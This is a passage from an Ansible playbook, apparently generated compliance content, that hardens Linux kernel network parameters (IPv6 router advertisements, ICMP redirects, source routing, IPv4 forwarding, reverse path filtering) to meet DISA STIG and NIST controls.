    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_ra

  - name: Disable Accepting Router Advertisements on all IPv6 Interfaces by Default
      - Find all files that contain net.ipv6.conf.default.accept_ra
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.default.accept_ra\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040262
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_ra

  - name: Disable Accepting Router Advertisements on all IPv6 Interfaces by Default
      - Find all files that set net.ipv6.conf.default.accept_ra to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.default.accept_ra\s*=\s*{{ sysctl_net_ipv6_conf_default_accept_ra_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040262
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_ra

  - name: Disable Accepting Router Advertisements on all IPv6 Interfaces by Default
      - Comment out any occurrences of net.ipv6.conf.default.accept_ra from config
      files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv6.conf.default.accept_ra
      replace: '#net.ipv6.conf.default.accept_ra'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040262
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_ra

  - name: Disable Accepting Router Advertisements on all IPv6 Interfaces by Default
      - Comment out any occurrences of net.ipv6.conf.default.accept_ra from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv6.conf.default.accept_ra
      replace: '#net.ipv6.conf.default.accept_ra'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040262
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_ra

  - name: Disable Accepting Router Advertisements on all IPv6 Interfaces by Default
      - Ensure sysctl net.ipv6.conf.default.accept_ra is set
    ansible.posix.sysctl:
      name: net.ipv6.conf.default.accept_ra
      value: '{{ sysctl_net_ipv6_conf_default_accept_ra_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv6_conf_default_accept_ra.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040262
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_ra

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv6
      Interfaces - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040210
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv6
      Interfaces - Find all files that contain net.ipv6.conf.default.accept_redirects
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.default.accept_redirects\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040210
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv6
      Interfaces - Find all files that set net.ipv6.conf.default.accept_redirects
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.default.accept_redirects\s*=\s*{{ sysctl_net_ipv6_conf_default_accept_redirects_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040210
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv6
      Interfaces - Comment out any occurrences of net.ipv6.conf.default.accept_redirects
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv6.conf.default.accept_redirects
      replace: '#net.ipv6.conf.default.accept_redirects'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040210
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv6
      Interfaces - Comment out any occurrences of net.ipv6.conf.default.accept_redirects
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv6.conf.default.accept_redirects
      replace: '#net.ipv6.conf.default.accept_redirects'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040210
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv6
      Interfaces - Ensure sysctl net.ipv6.conf.default.accept_redirects is set
    ansible.posix.sysctl:
      name: net.ipv6.conf.default.accept_redirects
      value: '{{ sysctl_net_ipv6_conf_default_accept_redirects_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv6_conf_default_accept_redirects.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040210
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv6 Interfaces
      by Default - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040250
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv6 Interfaces
      by Default - Find all files that contain net.ipv6.conf.default.accept_source_route
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.default.accept_source_route\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040250
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv6 Interfaces
      by Default - Find all files that set net.ipv6.conf.default.accept_source_route
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.default.accept_source_route\s*=\s*{{ sysctl_net_ipv6_conf_default_accept_source_route_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040250
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv6 Interfaces
      by Default - Comment out any occurrences of net.ipv6.conf.default.accept_source_route
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv6.conf.default.accept_source_route
      replace: '#net.ipv6.conf.default.accept_source_route'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040250
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv6 Interfaces
      by Default - Comment out any occurrences of net.ipv6.conf.default.accept_source_route
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv6.conf.default.accept_source_route
      replace: '#net.ipv6.conf.default.accept_source_route'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040250
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv6 Interfaces
      by Default - Ensure sysctl net.ipv6.conf.default.accept_source_route is set
    ansible.posix.sysctl:
      name: net.ipv6.conf.default.accept_source_route
      value: '{{ sysctl_net_ipv6_conf_default_accept_source_route_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv6_conf_default_accept_source_route.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040250
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_default_accept_source_route

  - name: Disable Accepting ICMP Redirects for All IPv4 Interfaces - Set fact for
      sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040279
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv4 Interfaces - Find all files
      that contain net.ipv4.conf.all.accept_redirects
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.accept_redirects\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040279
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv4 Interfaces - Find all files
      that set net.ipv4.conf.all.accept_redirects to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.accept_redirects\s*=\s*{{ sysctl_net_ipv4_conf_all_accept_redirects_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040279
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv4 Interfaces - Comment out any
      occurrences of net.ipv4.conf.all.accept_redirects from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.all.accept_redirects
      replace: '#net.ipv4.conf.all.accept_redirects'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040279
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv4 Interfaces - Comment out any
      occurrences of net.ipv4.conf.all.accept_redirects from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.all.accept_redirects
      replace: '#net.ipv4.conf.all.accept_redirects'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040279
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv4 Interfaces - Ensure sysctl
      net.ipv4.conf.all.accept_redirects is set
    ansible.posix.sysctl:
      name: net.ipv4.conf.all.accept_redirects
      value: '{{ sysctl_net_ipv4_conf_all_accept_redirects_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_all_accept_redirects.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040279
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_redirects

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv4
      Interfaces - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040239
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv4
      Interfaces - Find all files that contain net.ipv4.conf.all.accept_source_route
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.accept_source_route\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040239
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv4
      Interfaces - Find all files that set net.ipv4.conf.all.accept_source_route to
      correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.accept_source_route\s*=\s*{{ sysctl_net_ipv4_conf_all_accept_source_route_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040239
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv4
      Interfaces - Comment out any occurrences of net.ipv4.conf.all.accept_source_route
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.all.accept_source_route
      replace: '#net.ipv4.conf.all.accept_source_route'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040239
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv4
      Interfaces - Comment out any occurrences of net.ipv4.conf.all.accept_source_route
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.all.accept_source_route
      replace: '#net.ipv4.conf.all.accept_source_route'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040239
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv4
      Interfaces - Ensure sysctl net.ipv4.conf.all.accept_source_route is set
    ansible.posix.sysctl:
      name: net.ipv4.conf.all.accept_source_route
      value: '{{ sysctl_net_ipv4_conf_all_accept_source_route_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_all_accept_source_route.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040239
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_accept_source_route

  - name: Disable Kernel Parameter for IPv4 Forwarding on all IPv4 Interfaces - Set
      fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040259
    - NIST-800-53-CM-6(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv4 Forwarding on all IPv4 Interfaces - Find
      all files that contain net.ipv4.conf.all.forwarding
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.forwarding\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040259
    - NIST-800-53-CM-6(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv4 Forwarding on all IPv4 Interfaces - Find
      all files that set net.ipv4.conf.all.forwarding to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.forwarding\s*=\s*{{ sysctl_net_ipv4_conf_all_forwarding_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040259
    - NIST-800-53-CM-6(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv4 Forwarding on all IPv4 Interfaces - Comment
      out any occurrences of net.ipv4.conf.all.forwarding from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.all.forwarding
      replace: '#net.ipv4.conf.all.forwarding'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040259
    - NIST-800-53-CM-6(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv4 Forwarding on all IPv4 Interfaces - Comment
      out any occurrences of net.ipv4.conf.all.forwarding from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.all.forwarding
      replace: '#net.ipv4.conf.all.forwarding'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040259
    - NIST-800-53-CM-6(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv4 Forwarding on all IPv4 Interfaces - Ensure
      sysctl net.ipv4.conf.all.forwarding is set
    ansible.posix.sysctl:
      name: net.ipv4.conf.all.forwarding
      value: '{{ sysctl_net_ipv4_conf_all_forwarding_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_all_forwarding.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040259
    - NIST-800-53-CM-6(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_forwarding

  - name: Enable Kernel Parameter to Use Reverse Path Filtering on all IPv4 Interfaces
      - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040285
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_rp_filter

  - name: Enable Kernel Parameter to Use Reverse Path Filtering on all IPv4 Interfaces
      - Find all files that contain net.ipv4.conf.all.rp_filter
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
